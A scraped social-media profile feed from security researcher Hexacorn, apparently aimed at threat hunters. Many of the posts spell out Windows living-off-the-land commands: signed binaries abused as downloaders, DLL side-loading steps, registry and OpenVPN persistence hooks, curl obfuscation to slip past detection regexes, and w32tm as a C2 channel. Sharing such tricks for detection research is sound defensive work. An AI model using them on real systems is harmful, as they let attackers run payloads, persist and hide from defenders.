Adam Profile
Adam

@Hexacorn

Followers
24,447
Following
1,257
Media
362
Statuses
6,370

Red Brain, Blue Fingers hexacorn @infosec .exchange RIP Twitter

Joined January 2012
Don't wanna be here? Send us removal request.
Explore trending content on Musk Viewer
Pinned Tweet
@Hexacorn
Adam
3 years
This tweet contains a well-researched information presented in a politically neutral manner and can only be interpreted in a single way w/o causing any emotional response to the reader. It is factual. It is unconditional. It is absolute. It is uncancellable. #FF you
0
1
34
@Hexacorn
Adam
3 years
This is the most important security change you will do today. 1. Find c:\Program Files\Common Files\microsoft shared\OFFICE15\1033\MSOINTL.DLL (adjust path for your Office version). 2. Hex-edit "Enable Content" to whatever you want e.g. "Infect System". 3. You are welcome.
Tweet media one
56
1K
4K
@Hexacorn
Adam
2 years
Run \Windows\system32\oobe\FirstLogonAnim.exe /RunFirstLogonAnim to prank your friend Windows is reinstalling
17
180
995
@Hexacorn
Adam
3 years
C:\Program Files*\Microsoft Office\root\Office*\excelcnv.exe accepts URL so you can use it as a downloader excelcnv.exe -oice <URL> <filename> caveat? your download will be saved as an XLSX and binary data will be stored encoded with UTF8 inside xl\sharedStrings.xml #LOLBIN
Tweet media one
10
293
841
@Hexacorn
Adam
3 years
Mini #Lolbin 1. Copy c:\WINDOWS\system32\WebCache.exe to a different location 2. Drop malicious wininet.dll there 3. Run: WebCache.exe 1 1 This willl load malicious wininet.dll via LoadLibraryW
10
204
587
@Hexacorn
Adam
2 years
Another trivial #lolbin c:\Program Files\Windows Media Player\wmpshare.exe copied to a different path will load wmp.dll from that folder first
Tweet media one
8
139
526
@Hexacorn
Adam
2 years
DO NOT TRY ON YOUR PRODUCTION SYSTEM* ms-cxh-full://foo will block your win10 desktop (doesn't work on win11) DO NOT TRY ON YOUR PRODUCTION SYSTEM* *atm I don't know how to exit the thing
15
105
495
@Hexacorn
Adam
3 years
kudos to @0gtweet who inspired me to look at lolbin stuff again (as it is often the case) so... everyone knows we can use ftp.exe as a lolbin using COMSPEC trick we can do it again set comspec=c:\windows\notepad.exe ftp.exe !
8
177
449
@Hexacorn
Adam
5 years
reminder that Powershell resides in many places c:\WINDOWS\ - \system32\WindowsPowerShell\v1.0\powershell.exe - \SysWow64\...\powershell.exe c:\Program Files | c:\Program Files (\x86) \PowerShell\ - \6.0.0.14\powershell.exe - \6\pwsh.exe - \7-preview\pwsh.exe +other subdirs
7
166
441
@Hexacorn
Adam
4 years
Stay positive Lolbins... not! #LOLBIN rundll32 advpack.dll, RegisterOCX calc.exe rundll32 advpack.dll, #12 calc.exe rundll32 advpack.dll, #+12 calc.exe rundll32 advpack.dll, #-4294967284 calc.exe
9
180
442
@Hexacorn
Adam
2 years
Infosec Salaries - the myth and the reality
20
113
432
@Hexacorn
Adam
5 years
Logs from 1.6M sandboxed samples - release #malware #dfir 200GB text file with 1.6M sandbox reports BIG THANK YOU to @VXShare for hosting it !!!
8
164
378
@Hexacorn
Adam
2 years
The Anti-VM trick that is kinda... personal #dfir
22
93
360
@Hexacorn
Adam
3 years
A nice, little Downloads&Execute #LOLBIN feature of signed SpotifySetup.exe SpotifySetup.exe --url <url> Other options --mu ..\..\..\..\..\..\..\..\test\ downloads that file to c:\test\SpWebInst0.exe and launches from there -- silent - quieter, but mini-GUI still shows up
2
129
341
@Hexacorn
Adam
1 year
Red Team Tip: always rename your offensive tools to AppsHelpMechanismTestAppBadMsgBlocked.exe before running #helpblueteamwin !
Tweet media one
7
46
338
@Hexacorn
Adam
3 months
How to become/continue to be a security researcher? h/t @zer0pwn
5
95
333
@Hexacorn
Adam
3 years
I wrote about side-loading of MSFTEDIT.DLL before and today realized that charmap.exe uses LoadLibrary as well 1. save payload as MSFTEDIT.DLL 2. copy c:\windows\system32\charmap.exe . 3. charmap.exe
3
113
315
@Hexacorn
Adam
2 years
If Broadcom buys VMware the RCE analysts working there will be called Broadcom VMware CarbonBlack CA Technologies Symantec Norton Lastline Reverse Code Engineering Analysts
10
48
303
@Hexacorn
Adam
3 years
MSOXMLED.EXE - Desperate downloader #lolbin 2 invocations: MSOXMLED.EXE /verb open <URL> MSOXMLED.EXE /verb <anything> /genverb open <URL> - downloads to ...\INetCache\Low\IE\<rnd>\<file>
4
133
287
@Hexacorn
Adam
3 years
in case you have not noticed, Process Hacker includes a Firewall tab now
Tweet media one
7
60
274
@Hexacorn
Adam
3 years
If you rely on CommandLine in Sysmon, you may want to check this out. And I am almost certain someone did point it out before... oh well... examples: c:\windows\system32\calc.exe\..\notepad.exe c:\windows\system32\calc.exe\..\..\system32\notepad.exe
9
95
265
@Hexacorn
Adam
5 years
I guess everyone knows about this Lolbin: RunDll32.exe shell32.dll,Control_RunDLL c:\test\test.dll but about this one? RunDll32.exe Shell32.dll,Control_RunDLLAsUser c:\test\test.dll #LOLBIN
5
75
268
@Hexacorn
Adam
3 years
looks like Windows tar can BASE64-encode and UUEncode tar -c -f <out> --b64encode <in> tar -c -f <out> --uuencode <in> and it can run (lolbin) other programs same as its *nix counterpart tar -cff --use-compress-program calc f
4
114
261
@Hexacorn
Adam
2 years
C:\Program Files\Internet Explorer>set windir=c:\test C:\Program Files\Internet Explorer>iediagcmd.exe /out:c:\test\ will run c:\test\system32\netsh.exe of your choice #lolbin via env. var. windir
2
57
249
@Hexacorn
Adam
4 years
API Monitoring under windows 10 #DFIR
4
79
244
@Hexacorn
Adam
3 years
Mitre Att&ck - in pictures
Tweet media one
Tweet media two
10
65
243
@Hexacorn
Adam
3 years
a silly way to launch programs at a predetermined position in a great-great-great....grand-child relationship start /b "" start /b "" start /b "" start /b "" start /b "" start /b notepad.exe /b takes care of conhost.exe processes (aka all share same console)
Tweet media one
7
56
230
@Hexacorn
Adam
3 years
openvpn.exe --config "test.ovpn" --auth-user-pass "pass.txt" --up c:\windows\system32\calc.exe --ipchange c:\windows\system32\calc.exe --route-up c:\windows\system32\calc.exe --script-security 2 > foo in action more #LOLBIN details here:
@Hexacorn
Adam
3 years
TIL OpenVPN cmd line args are \o/bin cool ;) Persistence + #LOLBIN in 1 --script-security 2 + --auth-user-pass-verify # --client-connect # --client-disconnect # --down # --ipchange # --iproute # --learn-address # --route-pre-down # --route-up # --tls-verify # --up # # = cmd
2
29
121
2
87
238
@Hexacorn
Adam
9 months
Great paper that tries to make some sense of Windows persistence mess
2
73
229
@Hexacorn
Adam
8 months
Writing better Yara rules in 2023...
2
88
228
@Hexacorn
Adam
3 years
so, how many of you visited solar leaks page from your main working computer, on your production network? the number of infosec people posting a direct link to it is mind-blowing assumption should be it's hosted by attackers, hello ?
14
41
203
@Hexacorn
Adam
4 months
1 little known secret of regsvr32.exe, take three aka regsvr32.exe bomb #lolbin #dolbin
Tweet media one
3
58
209
@Hexacorn
Adam
3 years
combing through my old code I found one of my early API hooking experiments from early 2006 -- by hooking ExtTextOut was able to steal text from any application (global hook was there to catch new programs as well) -- I guess should have written that EDR back then ;)
2
35
204
@Hexacorn
Adam
4 years
Certulitis - one tool that keeps on giving e.g. set CERTSRV_LOGFILE=c:\test\foo.log set CERTSRV_DEBUG=0xFFFFFFFF certutil you never knew existed (good clickbait!)
3
73
202
@Hexacorn
Adam
2 years
Beyond good ol’ Run key, Part 137 HKLM\SOFTWARE\Microsoft\Windows\ CurrentVersion\Internet Settings\LUI\<error> = payloadDLL!API #DFIR
Tweet media one
0
64
199
@Hexacorn
Adam
2 years
What to know, what to learn? What are useful skills for cyber in 2022? #DFIR
8
73
193
@Hexacorn
Adam
5 years
what are download cradles out there? I know of this nice list any other repos like this? IE/VBS, python, ruby, perl, gcc, git, wget, curl with exec/eval?
6
61
190
@Hexacorn
Adam
2 years
This is a far more interesting 'feature' of setup.exe - a persistence trick really Drop your payload to c:\WINDOWS\Setup\Scripts\ErrorHandler.cmd and c:\WINDOWS\system32\oobe\Setup.exe will load it anytime it errors (at least; enough to run it w/o cmd line to trigger)
Tweet media one
0
50
179
@Hexacorn
Adam
3 years
curl (included Windows version) built-in support for parenthesis and square brackets is fun and may evade some naive regexes curl { http://...} curl {h}{t}{t}{p}://... curl .../{foo}{bar} -o #2 #1 // will save the downloaded file as "barfoo") curl [1-5] // awkward delay via DNS
3
54
181
@Hexacorn
Adam
4 months
1 little known secret of forfiles.exe #lolbin
Tweet media one
3
46
173
@Hexacorn
Adam
4 months
2 less known secrets of Windows command command-driven line tools... #ThreatHunting
4
41
160
@Hexacorn
Adam
1 year
A bunch of OLD-School RCE tricks… DFIR
3
49
160
@Hexacorn
Adam
3 years
It's really worth updating Process Hacker on regular basis TIL new versions include very advanced PE file viewer showing lots of cool info, both static and dynamic and from the file and file system, all in one place
2
36
158
@Hexacorn
Adam
4 months
1 little known secret of runonce.exe (32-bit) #lolbin
Tweet media one
0
49
159
@Hexacorn
Adam
2 months
1 little known secret of explorer.exe #lolbin
0
42
158
@Hexacorn
Adam
1 year
The Future of SOC #DFIR
6
42
156
@Hexacorn
Adam
4 years
certutil - one more GUI #lolbin 1. certutil -URL 2. GUI 3. %APPDATA%\LocalLow\Microsoft\CryptnetUrlCache\Content\<hash> is a copy of google page
3
69
150
@Hexacorn
Adam
2 years
phantom DLL #lolbin \Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe /InstallWiaDevice foo will attempt to load a non-existing 32-bit DLL sti_ci.dll (64-bit one exists)
1
42
152
@Hexacorn
Adam
3 years
BYOT - Bring Your Own Telemetry Bring Your Own #LOLBIN
Tweet media one
0
39
152
@Hexacorn
Adam
2 years
In 2010 I worked a case working 18h/day, for a month, developed insomnia. Didn't get any extra pay, no one said thank you. It changed the way I work. I then started my blog. 10 years later still not sleeping enough & yet still loving it. Channel your obsessions properly kids :)
8
19
151
@Hexacorn
Adam
5 years
I’M SO excited MSO.DLL internals #DFIR #threathunting
5
64
147
@Hexacorn
Adam
5 years
Beyond good ol’ Run key, Part 108 #dfir #malware Using HKLM\SOFTWARE\Microsoft\Wow64\x86\<processname> to inject 64-bit DLL of your choice into 32-bit processes
2
62
147
@Hexacorn
Adam
5 years
Sysmon - ideas, and gotchas #DFIR #malware
3
64
147
@Hexacorn
Adam
3 years
Can we please have Dutch intelligence release these tapes of SolarWind hackers in action so we can all move on?
2
17
138
@Hexacorn
Adam
3 years
if you ever get bored using "copy" to copy files you can always use ... curl curl file://c:\test\foo -o bar same way, you can use it instead of "type" or "cat" curl file://c:\test\foo
4
41
141
@Hexacorn
Adam
4 years
undocumented command line switches for a number of programs
2
53
138
@Hexacorn
Adam
3 years
Looks like VT added another sandbox VirusTotal Sysmon example:
5
38
139
@Hexacorn
Adam
2 years
Copy c:\WINDOWS\system32\oobe\Setup.exe to c:\test Drop payload to c:\test\winsetup.dll setup.exe will load c:\test\winsetup.dll lots of other side-loading opportunities there really 9see screenshot), but still lame, cuz need admin rights to run setup.exe :(
Tweet media one
2
39
137
@Hexacorn
Adam
4 years
ProcMon as… an API Monitor #DFIR #malwareanalysis
3
60
136
@Hexacorn
Adam
2 years
win10 drop C:\Windows\System32\ntwdblib.dll run c:\WINDOWS\system32\cliconfg.exe ntwdblib.dll will get loaded too many caveats (admin rights, UAC) for it to be useful, but always... kinda lame persistence trick, kinda lame lolbin - 2 in one lame :)
Tweet media one
3
37
132
@Hexacorn
Adam
2 years
I heard you like protocol handlers webrunapps dot com #DFIR
6
33
126
@Hexacorn
Adam
2 years
Beyond good ol’ Run key, Part 136 (Persistence trick + #lolbin in 1) x 2 Thx to test Office DLLs: HKCU\SOFTWARE\Microsoft\Office\16.0\ Word\WwlibtDll -> wwlibt.dll PowerPoint\PPCoreTDLL -> ppcoret.dll #DFIR
Tweet media one
0
47
128
@Hexacorn
Adam
5 years
Powershell keywords: what stuff do you look for inside the Script Blocks? This is a great cheatsheet that contains a lot of keywords (by Malware Archaeology) but wondering if this could be improved. reversed strings? new keywords for new ps modules?
6
31
128
@Hexacorn
Adam
3 years
Did anyone look at w32tm.exe for C2 comms? w32tm /monitor /computers:xxx w32tm /stripchart /computer:xxx W32tm /query /computer:xxx connect out to xxx:123 w32tm /stripchart /computer:xxx /ipprotocol:6 will use IPv6
2
28
123
@Hexacorn
Adam
4 years
FridaTrace++ – quick & dirty API monitor, Part 2 #DFIR #RCE
2
50
122
@Hexacorn
Adam
4 years
Windows 10 is 'mine'..., Part 1 some basics on tuning win10 to your needed #DFIR
10
43
125
@Hexacorn
Adam
9 months
fun fact: you can add new lines to PDB path, so IDA can read it like this
Tweet media one
6
14
123
@Hexacorn
Adam
2 years
Fun fact, you can bring win10 explorer.exe to win11 and it will work :)
Tweet media one
7
12
122
@Hexacorn
Adam
3 years
TIL OpenVPN cmd line args are \o/bin cool ;) Persistence + #LOLBIN in 1 --script-security 2 + --auth-user-pass-verify # --client-connect # --client-disconnect # --down # --ipchange # --iproute # --learn-address # --route-pre-down # --route-up # --tls-verify # --up # # = cmd
2
29
121
@Hexacorn
Adam
5 years
3 new code injection tricks kudos to @theevilbit for anticipating my next moves ;) #DFIR #malware
0
56
117
@Hexacorn
Adam
2 years
Dealing with alert fatigue, Part 1 #DFIR
6
32
120
@Hexacorn
Adam
1 year
Asked YOU . COM to write malware for me powered by dadGPT
Tweet media one
9
7
115
@Hexacorn
Adam
4 months
1 little known secret of regsvr32.exe, take two #lolbin
3
34
119
@Hexacorn
Adam
2 years
Printing #LOLBIN create dummy file (foo) copy rundll32.exe to c:\test\rundll32.exe copy DLL payload to c:\test\photowiz.dll run rundll32 c:\WINDOWS\system32\shimgvw.dll,ImageView_PrintTo c:\test\foo ImageView_PrintToA & ImageView_PrintToW should work too (W needs Unicode tho)
2
34
116
@Hexacorn
Adam
5 years
Don't know how I missed this -- & -- RCE via Yara sigs is a nice eye-opener for anyone using them in production env. or 'en masse' in general
1
73
116
@Hexacorn
Adam
4 years
insipred by @SentinelOne research on desktopimgdownldr here is a list of native exes using BITS to download stuff... #LOLBIN potentials ❓aitstatic ✔️bitsadmin ✔️desktopimgdownldr ❓DeviceEnroller ❓directxdatabaseupdater ❓MDMAppInstaller ❓SpeechModelDownload
1
47
116
@Hexacorn
Adam
5 years
4
48
115
@Hexacorn
Adam
5 years
Excelling with sysmon configs yes, it is what it sounds like; a totally cringeworthy experience :) kudos to @ionstorm for his sysmon config that I tortured with this idea #threathunting #dfir
2
36
111
@Hexacorn
Adam
4 years
Wow! 64! Lolbin! Bring back NetMeeting! #LOLBIN #NETMEETING ⁉️
5
53
110
@Hexacorn
Adam
4 years
Lolbin Ltd good LaunchTM.exe -> %WINDIR%\System32\Taskmgr.exe bad set WINDIR=c:\test LaunchTM.exe -> c:\test\System32\Taskmgr.exe #LOLBIN
1
31
109
@Hexacorn
Adam
4 months
@lkarlslund couldn't resist :) this is what's inside the 700MB Nvidia driver top file extensions json408 dll341 png124 inf61 pak57 exe57 txt46 nvi33 js32 strings31 htm31 forms28 svg18 sys15 node11 lib10 bin9
Tweet media one
2
1
109
@Hexacorn
Adam
3 years
@Jean_Maes_1994 what about this variant?
Tweet media one
1
3
107
@Hexacorn
Adam
11 months
what clothes do you wear when you code malware?
Tweet media one
9
14
106
@Hexacorn
Adam
3 years
Just in case you are wondering, Mitre Att&ck misses and quite a bit. This is not a criticism per se -- it's a great framework and work in progress. These things will be eventually added (and sometimes corrected).
15
17
105
@Hexacorn
Adam
5 years
I blatantly hijacked the idea and added some practical advice on how to become Alex 2.0. Reversing w/o reversing – how to become Alex in practice cc @aionescu
1
34
101
@Hexacorn
Adam
5 years
lulz, I created this .exe file from strings reported in one of the malware reports - no code inside other than ExitProcess, just strings... tell me that next-gen and others don't really on signatures :-D #malware
15
32
101
@Hexacorn
Adam
1 year
interesting, added to my PE Section names list
Tweet media one
7
30
103
@Hexacorn
Adam
2 years
Delphi API monitoring with Frida, Part 3 #DFIR
Tweet media one
Tweet media two
2
25
103
@Hexacorn
Adam
2 years
ms-cxh - the Cloud Experience Host handler has some interesting strings it accepts e.g. ms-cxh://SETADDLOCALONLY creates new user ms-cxh://NTHNGCUPSELL creates PIN ms-cxh://RDXRACSKUINCLUSIVE get latest demo content and apps full list
3
18
101
@Hexacorn
Adam
2 years
Dealing with alert fatigue, Part 2 #DFIR
2
35
101
@Hexacorn
Adam
4 years
today got an idea to look at .TLB files as a possible code injection trick (it has a built-in, but rarely used 'helpstringdll' reference that points to a DLL) after some googling discovered @StanHacked already did a great research on this topic!
0
35
98
@Hexacorn
Adam
3 years
Fun fact: Qbot seems to be using GetFileAttributesW "C:\INTERNAL\__empty" to detect Defender's emulation String reference:
3
35
98
@Hexacorn
Adam
3 years
You got your Sysmon config You plug it in to your ELK/Splunk Detections start coming in and are tagged with Mitre Att&ck techniques 2 Questions: - How do you refer to these detections, if at all? - How do you process / analyze them? (alert/dashboard/?) genuine Qs
15
9
96
@Hexacorn
Adam
2 years
fun fact: if you append any .cab files to extrac32.exe, then when you run this new file, extrac32.exe stub will extract the content of the appended .cab file w/o any question; I guess files with _A_EXEC attr should be executed (have not tried)
3
20
94
@Hexacorn
Adam
4 years
Code Injection everyone forgets about #DFIR cc @theevilbit
3
30
91
@Hexacorn
Adam
3 years
Yet another secret of hosts file #DFIR
2
23
91
@Hexacorn
Adam
3 years
TIL there is cbd.exe in VMware Workstation c:\Program Files (x86)\VMware\VMware Workstation\OVFTool\cdb.exe cc @Oddvarmoe perhaps worth updating can help to dump memory, and lots of other funny stuff
2
25
92
@Hexacorn
Adam
4 years
Beyond good ol’ Run key, Part 129 Built-in Diagnostics (BID) - yet another MS-documented potential for a persistence mechanism #DFIR
0
40
87